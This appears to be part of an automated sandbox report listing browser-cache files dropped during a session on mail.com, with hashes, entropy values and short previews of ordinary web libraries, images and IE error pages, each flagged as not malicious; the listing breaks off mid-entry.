SHA-512:	D73382DEACF7ECFE9559A255929F46C4C673BE7455483C8A2424DA32B906E279FEF665C81C36AFB36430BD746CE83D898AEE468830A09CEB61E314F1A38DDB77
Malicious:	false
Preview:	/! modernizr 3.3.1 (Custom Build) \| MIT . * http://modernizr.com/download/?-csstransforms-csstransforms3d-csstransitions-flexbox-flexboxlegacy-flexboxtweener-placeholder-setclasses !*/.!function(e,n,t){function r(e,n){return typeof e===n}function s(){var e,n,t,s,o,i,a;for(var l in x)if(x.hasOwnProperty(l)){if(e=[],n=x[l],n.name&&(e.push(n.name.toLowerCase()),n.options&&n.options.aliases&&n.options.aliases.length))for(t=0;t<n.options.aliases.length;t++)e.push(n.options.aliases[t].toLowerCase());for(s=r(n.fn,"function")?n.fn():n.fn,o=0;o<e.length;o++)i=e[o],a=i.split("."),1===a.length?Modernizr[a[0]]=s:(!Modernizr[a[0]]\|\|Modernizr[a[0]]instanceof Boolean\|\|(Modernizr[a[0]]=new Boolean(Modernizr[a[0]])),Modernizr[a[0]][a[1]]=s),y.push((s?"":"no-")+a.join("-"))}}function o(e){var n=w.className,t=Modernizr._config.classPrefix\|\|"";if(S&&(n=n.baseVal),Modernizr._config.enableJSClass){var r=new RegExp("(^\|\\s)"+t+"no-js(\\s\|$)");n=n.replace(r,"$1"+t+"js$2")}Modernizr._config.enableClasses&&(n

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\permission-layer.min[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	14993
Entropy (8bit):	5.310369339102209
Encrypted:	false
SSDEEP:	384:y9JkLPdvui1yq6sV9H/JpvMZ+K4KSvhKeKRKFi/KcKKKEy:y7k1vV9H/083
MD5:	222C0FE80A18CB649E92454A976456B8
SHA1:	EAB0E84FD31194DCECF5A1C01474DDC70E4F6DBC
SHA-256:	E8BB53385EE296FD7F68168EC7B78BE6B3D79A656EDB16CAE97CBF531B540FDA
SHA-512:	9AB58E13D1D009DC113013B44A45AB39E8D4D0E9FB005599674EA8ED4F858D11F3895679D7AF7ED1553C1E9D1594A67F0ED8DCF4BBED5C9C82258D3DBBBF3066
Malicious:	false
Preview:	var PermissionLayer=function(){"use strict";function e(e){if(!(0 in arguments))throw new TypeError("1 argument is required");do{if(this===e)return!0}while(e=e&&e.parentNode);return!1}./! **************************************************************************.Copyright (c) Microsoft Corporation...Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH.REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY.AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,.INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM.LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR.OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR.PERFORMANCE OF THIS SOFTWARE..*************************************************************************** */.function

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\picturefill.min[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	7707
Entropy (8bit):	5.348756688914539
Encrypted:	false
SSDEEP:	192:h1Xr6SGagHW0rIEtQDvhI3t4An5C5Pr+EfWL:hFr6SGDbJ56Pr+Efi
MD5:	D3325BC1D59DAE5AEDDA1C5EAD0CD1D6
SHA1:	F4B1FEA0BAEC4AB9B6BFF45BDEA81D8883357E35
SHA-256:	D603B6E5C404D28A9F1C12BB0B57D8C9967836A8F53CCE046A2AB3FD1F3B2F52
SHA-512:	3B90E2CF6024A8A58AECBC38B7C0671C5FF8EC22CC3E2187F674F803A53AFAD647080ABE8E3DDD03F36091CD4B2B71E6AD386D8C87A6C3932D32B1F0B15F2D4E
Malicious:	false
Preview:	/! Picturefill - v2.3.1 - 2015-04-09. http://scottjehl.github.io/picturefill.* Copyright (c) 2015 https://github.com/scottjehl/picturefill/blob/master/Authors.txt; Licensed MIT */.window.matchMedia\|\|(window.matchMedia=function(){"use strict";var a=window.styleMedia\|\|window.media;if(!a){var b=document.createElement("style"),c=document.getElementsByTagName("script")[0],d=null;b.type="text/css",b.id="matchmediajs-test",c.parentNode.insertBefore(b,c),d="getComputedStyle"in window&&window.getComputedStyle(b,null)\|\|b.currentStyle,a={matchMedium:function(a){var c="@media "+a+"{ #matchmediajs-test { width: 1px; } }";return b.styleSheet?b.styleSheet.cssText=c:b.textContent=c,"1px"===d.width}}}return function(b){return{matches:a.matchMedium(b\|\|"all"),media:b\|\|"all"}}}()),function(a,b,c){"use strict";function d(b){"object"==typeof module&&"object"==typeof module.exports?module.exports=b:"function"==typeof define&&define.amd&&define("picturefill",function(){return b}),"object"==typeof a&&(a.pict

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\tcf-api[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines
Category:	dropped
Size (bytes):	128314
Entropy (8bit):	5.420028842667526
Encrypted:	false
SSDEEP:	1536:X7ksrP0OQrmfB/JbkcORkJQbtirmDcPnj5tCOw/:X7vr0YfzIcOROQbt2uP
MD5:	351509155B57D12F6E63A0639E414F6B
SHA1:	23B00CFF48F01F215C883206B887C47DCB82C832
SHA-256:	2F930C675986DD3A373E3F76ADF2464CE9A1274B0B82B6FC85622F5801171C42
SHA-512:	7EE5B752428863943D500DC5428C33223AE0DD80EB985E8379F95E53176503F06A7C126819BFF0592FE16674ED22187823ECE54B6E173D844DD8A9AA58F942E2
Malicious:	false
Preview:	var TcfApi=function(e){"use strict";var t,n;(t=e.TcfApiCommands\|\|(e.TcfApiCommands={}))[t.getTCData=0]="getTCData",t[t.ping=1]="ping",t[t.addEventListener=2]="addEventListener",t[t.removeEventListener=3]="removeEventListener",t[t.updateTCString=4]="updateTCString",t[t.getTCString=5]="getTCString",t[t.getACString=6]="getACString",t[t.getPermission=7]="getPermission",t[t.getTCFVersion=8]="getTCFVersion",t[t.getTCLastUpdated=9]="getTCLastUpdated",t[t.getTCStringUtil=10]="getTCStringUtil",t[t.getAppInfo=11]="getAppInfo",(n=e.PermissionFeatures\|\|(e.PermissionFeatures={}))[n.publisher=0]="publisher",n[n.purpose=1]="purpose",n[n.vendor=2]="vendor",n[n.special=3]="special",n[n.brainTracking=4]="brainTracking",n[n.uimservTracking=5]="uimservTracking",n[n.agofTracking=6]="agofTracking",n[n.tgp=7]="tgp",n[n.oewaTracking=8]="oewaTracking",n[n.googleAnalyticsTracking=9]="googleAnalyticsTracking",n[n.editorialPersonalization=10]="editorialPersonalization",n[n.aditionAds=11]="aditionAds",n[n.siteSpec

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\url-polyfill[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	14156
Entropy (8bit):	4.648608112922872
Encrypted:	false
SSDEEP:	192:mkV8iuOl2Rcop1xckycFecyKrceF1M3c/WEXiXr8j1bpwgxm7ke1mguem4j9qmmi:+p1zbMOWJrKzTxCk+n5jtnwbuR6wtw4l
MD5:	6A18FD44CC1ADDF80D15A41AB190EEA9
SHA1:	8855C0084EB46252D7CBCA2AA86F4D18247120F6
SHA-256:	6E80EED7AECA34625DBD62C4D627A76C3DE1D0F0509B7E503B920F9AD20AE037
SHA-512:	3748D8A038FBBAF734A5FA93FEB1BBB9CD406001F5BA340AD51B9050C2097864E19EFD6ADA813A306B2DE9C8ABA656A31C1FDFCB12F1E252EF6D76513C780650
Malicious:	false
Preview:	(function(global) {.. /*.. Polyfill URLSearchParams.. .. Inspired from : https://github.com/WebReflection/url-search-params/blob/master/src/url-search-params.js.. /.... var checkIfIteratorIsSupported = function() {.. try {.. return !!Symbol.iterator;.. } catch (error) {.. return false;.. }.. };...... var iteratorSupported = checkIfIteratorIsSupported();.... var createIterator = function(items) {.. var iterator = {.. next: function() {.. var value = items.shift();.. return { done: value === void 0, value: value };.. }.. };.... if (iteratorSupported) {.. iterator[Symbol.iterator] = function() {.. return iterator;.. };.. }.... return iterator;.. };.... /.. Search param name and values should be encoded according to https://url.spec.whatwg.org/#urlencoded-serializing.. * encodeURIComponent() produces the same result except encoding spaces as `%20` instead of `+`... */.. var serialize

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\MAILCOM_content_smartphone[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	[TIFF image data, little-endian, direntries=0], baseline, precision 8, 375x1500, frames 3
Category:	dropped
Size (bytes):	39695
Entropy (8bit):	7.88304075492602
Encrypted:	false
SSDEEP:	768:QR4ff6ZD8HPhIn2zZO3xwyfGoMKdgebBz1TodlsgeZ:sqimPhcWchBfpdgeHodKZ
MD5:	49935488ECA1288D35666EAC3096FB3B
SHA1:	4CDECFC9914414ECA9259C6D0D593BA7A893B199
SHA-256:	065815F3189B966B3686743C772146CDB8E7DD4473DA0AD7884573B40ABA5419
SHA-512:	69E5831B1E845C2C334B6FBB00E0CD462D04863A542FEE70BE6B90D3A855EDDC8703A8A1CDD8EA177BBDADF549C786CEA4F855ABB6952A9A81702B2FC5B80618
Malicious:	false
Preview:	......Exif..II*.................Ducky.......<.....~http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164460, 2020/05/12-16:04:17 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:fe76aaa3-4d61-474e-8aa2-3e0811be0d79" xmpMM:DocumentID="xmp.did:0574DB90C8ED11EA8232F01B63BC1666" xmpMM:InstanceID="xmp.iid:0574DB8FC8ED11EA8232F01B63BC1666" xmp:CreatorTool="Adobe Photoshop 21.2 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0e9dc036-6e85-4262-8780-4bc8815228c0" stRef:documentID="xmp.did:fe76aaa3-4d61-474e-8aa2-3e0811be0d79"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d..............................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\MAILCOM_content_tablet[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	[TIFF image data, little-endian, direntries=0], baseline, precision 8, 768x1024, frames 3
Category:	dropped
Size (bytes):	40679
Entropy (8bit):	7.725267524066052
Encrypted:	false
SSDEEP:	768:wTd3DlApzzVdTF2Y3StawUpBGpQpKE6454/phGzL:gTONp72YitJvsKphe
MD5:	782E0A42BB60C1D56A7BF43D56DC9AEE
SHA1:	263616D370FD488587F29CB24E0FAA49FC434C0A
SHA-256:	8BE7A8471A3DF3D73D6303AB218D2E2744E402039928A5D75332EAE0E79CD7B2
SHA-512:	E834D3164FCE511F1681B1A08CD37EEC596F96F01A89F1D402524C8DB81C90712D8A3DBE8E63D493BD906FAA41A90E4130BAF0A213B0FB72146B6D8C41908797
Malicious:	false
Preview:	......Exif..II*.................Ducky.......<.....~http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164460, 2020/05/12-16:04:17 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4d7c57a6-56b2-4c01-94f7-f7a0374b49ff" xmpMM:DocumentID="xmp.did:F7EAE5FEC8F911EA9A4CD578026A04FD" xmpMM:InstanceID="xmp.iid:F7EAE5FDC8F911EA9A4CD578026A04FD" xmp:CreatorTool="Adobe Photoshop 21.2 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:fcfbd852-f405-4973-92f3-0310d059c55b" stRef:documentID="xmp.did:4d7c57a6-56b2-4c01-94f7-f7a0374b49ff"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d..............................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\dnserror[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2997
Entropy (8bit):	4.4885437940628465
Encrypted:	false
SSDEEP:	48:u7u5V4VyhhV2lFUW29vj0RkpNc7KpAP8Rra:vIlJ6G7Ao8Ra
MD5:	2DC61EB461DA1436F5D22BCE51425660
SHA1:	E1B79BCAB0F073868079D807FAEC669596DC46C1
SHA-256:	ACDEB4966289B6CE46ECC879531F85E9C6F94B718AAB521D38E2E00F7F7F7993
SHA-512:	A88BECB4FBDDC5AFC55E4DC0135AF714A3EEC4A63810AE5A989F2CECB824A686165D3CEDB8CBD8F35C7E5B9F4136C29DEA32736AABB451FE8088B978B493AC6D
Malicious:	false
Preview:	.<!DOCTYPE HTML>..<html>.. <head>.. <link rel="stylesheet" type="text/css" href="NewErrorPageTemplate.css" >.. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.. <title>Can’t reach this page</title>.. <script src="errorPageStrings.js" language="javascript" type="text/javascript">.. </script>.. <script src="httpErrorPagesScripts.js" language="javascript" type="text/javascript">.. </script>.. </head>.... <body onLoad="getInfo(); initMoreInfo('infoBlockID');">.. <div id="contentContainer" class="mainContent">.. <div id="mainTitle" class="title">Can’t reach this page</div>.. <div class="taskSection" id="taskSection">.. <ul id="cantDisplayTasks" class="tasks">.. <li id="task1-1">Make sure the web address <span id="webpage" class="webpageURL"></span>is correct</li>.. <li id="task1-2">Search for this site on Bing</li>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\errorPageStrings[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	5.164796203267696
Encrypted:	false
SSDEEP:	96:z9UUiqRxqH211CUIRgRLnRynjZbRXkRPRk6C87Apsat/5/+mhPcF+5g+mOQb7A9o:JsUOG1yNlX6ZzWpHOWLia16Cb7bk
MD5:	D65EC06F21C379C87040B83CC1ABAC6B
SHA1:	208D0A0BB775661758394BE7E4AFB18357E46C8B
SHA-256:	A1270E90CEA31B46432EC44731BF4400D22B38EB2855326BF934FE8F1B169A4F
SHA-512:	8A166D26B49A5D95AEA49BC649E5EA58786A2191F4D2ADAC6F5FBB7523940CE4482D6A2502AA870A931224F215CB2010A8C9B99A2C1820150E4D365CAB28299E
Malicious:	false
Preview:	.//Split out for localization...var L_GOBACK_TEXT = "Go back to the previous page.";..var L_REFRESH_TEXT = "Refresh the page.";..var L_MOREINFO_TEXT = "More information";..var L_OFFLINE_USERS_TEXT = "For offline users";..var L_RELOAD_TEXT = "Retype the address.";..var L_HIDE_HOTKEYS_TEXT = "Hide tab shortcuts";..var L_SHOW_HOTKEYS_TEXT = "Show more tab shortcuts";..var L_CONNECTION_OFF_TEXT = "You are not connected to the Internet. Check your Internet connection.";..var L_CONNECTION_ON_TEXT = "It appears you are connected to the Internet, but you might want to try to reconnect to the Internet.";....//used by invalidcert.js and hstscerterror.js..var L_CertUnknownCA_TEXT = "Your PC doesn\u2019t trust this website\u2019s security certificate.";..var L_CertExpired_TEXT = "The website\u2019s security certificate is not yet valid or has expired.";..var L_CertCNMismatch_TEXT = "The hostname in the website\u2019s security certificate differs from the website you are trying to visit.";..var L

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\httpErrorPagesScripts[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	12105
Entropy (8bit):	5.451485481468043
Encrypted:	false
SSDEEP:	192:x20iniOciwd1BtvjrG8tAGGGVWnvyJVUrUiki3ayimi5ezLCvJG1gwm3z:xPini/i+1Btvjy815ZVUwiki3ayimi5f
MD5:	9234071287E637F85D721463C488704C
SHA1:	CCA09B1E0FBA38BA29D3972ED8DCECEFDEF8C152
SHA-256:	65CC039890C7CEB927CE40F6F199D74E49B8058C3F8A6E22E8F916AD90EA8649
SHA-512:	87D691987E7A2F69AD8605F35F94241AB7E68AD4F55AD384F1F0D40DC59FFD1432C758123661EE39443D624C881B01DCD228A67AFB8700FE5E66FC794A6C0384
Malicious:	false
Preview:	...function isExternalUrlSafeForNavigation(urlStr)..{..var regEx = new RegExp("^(http(s?)\|ftp\|file)://", "i");..return regEx.exec(urlStr);..}..function clickRefresh()..{..var location = window.location.href;..var poundIndex = location.indexOf('#');..if (poundIndex != -1 && poundIndex+1 < location.length && isExternalUrlSafeForNavigation(location.substring(poundIndex+1)))..{..window.location.replace(location.substring(poundIndex+1));..}..}..function navCancelInit()..{..var location = window.location.href;..var poundIndex = location.indexOf('#');..if (poundIndex != -1 && poundIndex+1 < location.length && isExternalUrlSafeForNavigation(location.substring(poundIndex+1)))..{..var bElement = document.createElement("A");..bElement.innerText = L_REFRESH_TEXT;..bElement.href = 'javascript:clickRefresh()';..navCancelContainer.appendChild(bElement);..}..else..{..var textNode = document.createTextNode(L_RELOAD_TEXT);..navCancelContainer.appendChild(textNode);..}..}..function getDisplayValue(elem

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\logo_mailcom[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 127 x 33, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	772
Entropy (8bit):	7.357605427427946
Encrypted:	false
SSDEEP:	12:6v/7KCS7xzUE6epvFwEljtO4NhS+A4v0oZuds7kwJbZwC5M/6je+eLbu6E7Ufj+U:9CSxH6uwCjpEsu4L5aQefW5qjUnA
MD5:	02D779E0724E6334C085956D8315394B
SHA1:	7D525F7DBC0BC1AC330E13B965CF6FC6425D511C
SHA-256:	C6229002F99CECEF58F2CE16F5B983C52F5B3A17E7114A61C49807E7434158B6
SHA-512:	9A49C19530E2AA95383B24381DAF3B47D379C96212BBCD8262CF93340923BDCD11831AA62FB826C78E0F6AC6BD300ADF51F0652A01EDE4B7358B74AE17FE6C8D
Malicious:	false
Preview:	.PNG........IHDR.......!..........3PLTE......................................................G....tRNS.. 0@P`p........#......pIDATX.... .E...1..._;....3.\....BH._Z-...I.H.m.;..w...w...N.}>S.M9.ez....9.<{.cn..s.y>..4[I+.H6.`....2.]R.F_..%..3...zIr....)..#.r.#.....@g..M#.6....>..m.....j$...B.V.Ws....d%i...<..$U.....`>8.,.e'9=..=.....)..T....Be..v...l-r.....Mms.'..I.!sg.".$..[..z......IR&.G......"."S..fs.j..y...g.vx.,%.......U.....w\|.......G......{...v..]..._..^...........{t..\.....==6..L.....c.X8..BW.....d\o..b..\|;..x..wq.<oD!...'#..Zv.......FZ...#./..@.Hf..{E..V...{.R....j.7.v.[U.......A....n..X/..-.WU'...V......+In....TW.....U....=.(..H...Nm..........:...?WA..$._..da...H.}..`Z^....;.>....'..\|.4..b....o........Z...S.....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\permission-client[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines
Category:	dropped
Size (bytes):	136339
Entropy (8bit):	5.352742963211033
Encrypted:	false
SSDEEP:	1536:t7kenmLo76l7klDchJtfjB3r0CNb8q70/pGTG:t7zmL46l7COVdr0Wb897
MD5:	118B71F4BF62F1521BE51BE899A0A6BC
SHA1:	09C41380997729D3646A4D77792D1854AD97E200
SHA-256:	1FE3D6B355A53D1163E229035D9432DECB8D563954A6FEEA45A1CD90D2FFE800
SHA-512:	BCD950E7510616FF08F49D10BF601890BBE4ABA66F6F334CEC58017A6FCB9661FEB2016463E009512A88F40335D96CA5760A5900F0B74979136183137AE9B32E
Malicious:	false
Preview:	var PermissionClient=function(){"use strict";function e(e){if(!(0 in arguments))throw new TypeError("1 argument is required");do{if(this===e)return!0}while(e=e&&e.parentNode);return!1}Array.prototype.find=Array.prototype.find\|\|function(e){if(null===this)throw new TypeError("Array.prototype.find called on null or undefined");if("function"!=typeof e)throw new TypeError("callback must be a function");for(var t=Object(this),n=t.length>>>0,r=arguments[1],o=0;o<n;o++){var i=t[o];if(e.call(r,i,o,t))return i}},Array.prototype.findIndex=Array.prototype.findIndex\|\|function(e){if(null===this)throw new TypeError("Array.prototype.findIndex called on null or undefined");if("function"!=typeof e)throw new TypeError("callback must be a function");for(var t=Object(this),n=t.length>>>0,r=arguments[1],o=0;o<n;o++)if(e.call(r,t[o],o,t))return o;return-1};./! ****************************************************************************.Copyright (c) Microsoft Corporation...Permission to use, copy, modify,

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\polyfills.min[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines
Category:	dropped
Size (bytes):	19669
Entropy (8bit):	5.212831052369161
Encrypted:	false
SSDEEP:	384:ubShCpEEAnJLx5E0R6bu3pygMoZu7y8GVWKEK+mAxc3Rx7:cSPb5GGJAx/2RR
MD5:	9DB595578E42DC6602590BA0749D960D
SHA1:	E77AFE60D0ABDF30D359D2290CC5B61AA9BAE8FA
SHA-256:	A6F6C31882E65C0FA571B95E04715A7FB65E5BFA482B179318F35DD4C0D10BD9
SHA-512:	45BA39BFE08A28ACDC1571F2B4D2543E971DC0FA43A14FA60176D4E6C434A53FFD5218111C9B9AE7319C21909654F407F7E454DEEBF66EDB2271B0AC5B4BC997
Malicious:	false
Preview:	!function(t,n){"object"==typeof exports&&"object"==typeof module?module.exports=n():"function"==typeof define&&define.amd?define([],n):"object"==typeof exports?exports.TrackLib=n():t.TrackLib=n()}(this,function(){return function(t){function __webpack_require__(e){if(n[e])return n[e].exports;var r=n[e]={i:e,l:!1,exports:{}};return t[e].call(r.exports,r,r.exports,__webpack_require__),r.l=!0,r.exports}var n={};return __webpack_require__.m=t,__webpack_require__.c=n,__webpack_require__.d=function(t,n,e){__webpack_require__.o(t,n)\|\|Object.defineProperty(t,n,{configurable:!1,enumerable:!0,get:e})},__webpack_require__.n=function(t){var n=t&&t.__esModule?function(){return t["default"]}:function(){return t};return __webpack_require__.d(n,"a",n),n},__webpack_require__.o=function(t,n){return Object.prototype.hasOwnProperty.call(t,n)},__webpack_require__.p="",__webpack_require__(__webpack_require__.s=67)}([function(t,n,e){var r=e(21)("wks"),o=e(20),i=e(2).Symbol,c="function"==typeof i;(t.exports=fu

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\spinner[1].gif Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	GIF image data, version 89a, 32 x 32
Category:	dropped
Size (bytes):	3197
Entropy (8bit):	7.572053850299473
Encrypted:	false
SSDEEP:	48:3/uiyw10Mgv9EDOqdtt5qUEqDaj+FibxhB9AMoCub4DzlpQhUMgdYXDU:3GG0MqkTdEvjFxhXoQVHR
MD5:	04120F084FC2020D0FB3F4AE93C4B18A
SHA1:	2DDB6918850880CB2CAF07EDAE86FEB569516D09
SHA-256:	0E60137858AEC4EFD6700B5D4C9F4711DB797B2031A6857C7DB9BEEF8F069FC2
SHA-512:	1C16243035BB4FFAA9D8BFA7CC8892DE652B6DC03A1F7AA05843213E1EA55503FA8FAAF35AC8B39594EE1B762CE5D7FE3F38564EF655FB40ADF331FD8DEE46B9
Malicious:	false
Preview:	GIF89a . ..............Lk.h...........6Y..F.............!..NETSCAPE2.0.....!..Created with ajaxload.info.!.......,.... . .@....I)Y..:J..(.......!.p.o4..C.H..N...%..j...%Y8'+.rB.0.... .Fs.Z4\|....A..\...Ia.n.Ya...1h.8:q.C.y....g,.S\)_..Q?e.....+..S.....5.#.lO<...#..vY...J;v\....aU}L.. 5....{\|q..&k....23.87......._.X...`.......+..=L.....).qX...&Aq"..!.......,.... . .@....I)Q..z.H.Q..F,..$C{Hl+g[=....T........@..r.X,J.I..N^V....r......h....TP..lh......N.x<.cQ3`r.7_...X5g-UD[.+2..1Xe......_.r.....\|V.#..w.'.n...LK..N...F:w.N.W-cS.X..h.3.W..r[.......7...^..Y.5..^HY.......x...,..ee.....9+..n;..S.,...!.......,.... . .@....I.(..F:.!.YE(.t.. %C,..6.."u.8.1.L"..4#..PhN....89....j.a_...60....WrHT..lt=...L'"...@2.fT,,}tt7....[..1)\4.d^Gd>h.....0x.T....$t.#~p..Qqt.ION.....I:......,.UaF..5.......ak..ST....7......X.G]....t....].....me.hh].....fG9,....w...."..!.......,.... . .@....Ii...F:.0..P....R"..&.Km+..!.J/.L.....C...J.".. .N...K.....$....R..\.'[...,.8..+...Tvoo67M..i.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\B[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	461
Entropy (8bit):	5.856215463218057
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwol6hEr6VX16hu9nPjLPKJcazJM68oAC221JRjKfjeJdqA5FVl4dxQ0r:J0+ox0RJWWPfLtcRjKfjedFVl4dxQXET
MD5:	52062DABDBC1B23B6139EBA55C1AFB9D
SHA1:	563F0AD4ED90863CEBBB6CBD1FA71E12BE9B03C1
SHA-256:	2E163DC7F241D9596D3ADB5CFF50FE5A413D8E6ED6A202DC0A85C5A91BEEFC6E
SHA-512:	2B4BA9FA82BB8B2CF47AB941A330623B5DF1C625148205E1D1BFABA3C708312B8A202D903485CE101BC400A99EB3A3CE3933B333503582B6EE0D48211F67ACDB
Malicious:	false
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>301 Moved Permanently</title>.</head><body>.<h1>Moved Permanently</h1>.<p>The document has moved <a href="https://www.mail.com/jdraw/2x8ENuMVJEai_2FVqcwg/KQQ50kpn0M3L73ENNBE/G1knvzad_2Fg_2BkyCoA3S/RcPZinl4BFdYu/NG5HWnb0/vfvVzx4Doj88hqHzLS5VCB0/IRrw6ObYiX/1_2Fr33YbqAT9Ry0m/a_2FLfkuNA_2/F_2Fy3jjalf/Eg8brnQokZm55h/jGcurV8IMufIt7jFcTF99/whDSjKuT/g9l8UU7_2/B.crw">here</a>.</p>.</body></html>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\consent-management[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6459
Entropy (8bit):	4.8333068624932025
Encrypted:	false
SSDEEP:	192:OFbKkUehaqqeuiS4X5ipK2OhSQvvu3KqE3:gbB/sihh
MD5:	DC793DAA3072E0EB2CD3264A8DE0F5FE
SHA1:	BBED7CBC0438466EAD30175F34750415DB028FA2
SHA-256:	64C4461F300AEEE4BCB2AE92B5F75770042A7313EE4086998B236662BC367653
SHA-512:	E19757B7FACFEA3B959ED37A16D0993114594717194A83CCF20E88EF60BF6CF3D0FC56B522EBF8BEE3F0D6BC0751BE804F7592B05C5D6B35E8497672FA824493
Malicious:	false
Preview:	(function(window) {. /*. Hides the error message. /. function hideErrorMessage() {. // hide the fallback error message. // TODO: would be better to display the message only if the layer doesn't appear. if (errTimer) {. clearTimeout(errTimer);. }. var error = document.getElementsByClassName('error')[0];. if (error) {. error.style.display = 'none';. }. }.. /. Redirect back to the referrer page. */. function redirectBack() {. hideErrorMessage();.. // check if cookie exists (CADNPCA-7252). if (!hasCookie('euconsent-v2')) {. track(window.ui.trackingURL.error + '?code=missingEuConsent');. } else if (!hasCookie('uiconsent')) {. track(window.ui.trackingURL.error + '?code=missingUiConsent');. }.. // perform the redirect. try {. // set a mark for brain tracking CADNPCA-7305. window.sessionStorage.setItem('_rfcp_', '1'); // Redirected From Consent Page. var hash = window.sessionStorage.getItem('redir

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\core[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	1279
Entropy (8bit):	5.0198083787959655
Encrypted:	false
SSDEEP:	24:hYH0XISu+rUaKZSDof9sMahpmDgsM/O0LE9sujrNINVafHLVk+8m/OPmNV+kq/1x:J4SuirKZusCpa4XLArBHW+8fUDwgu
MD5:	499CD75790ED825D5519151AC2863D87
SHA1:	65FB695B805B509F2B6FA090A0B15BD48E6910DE
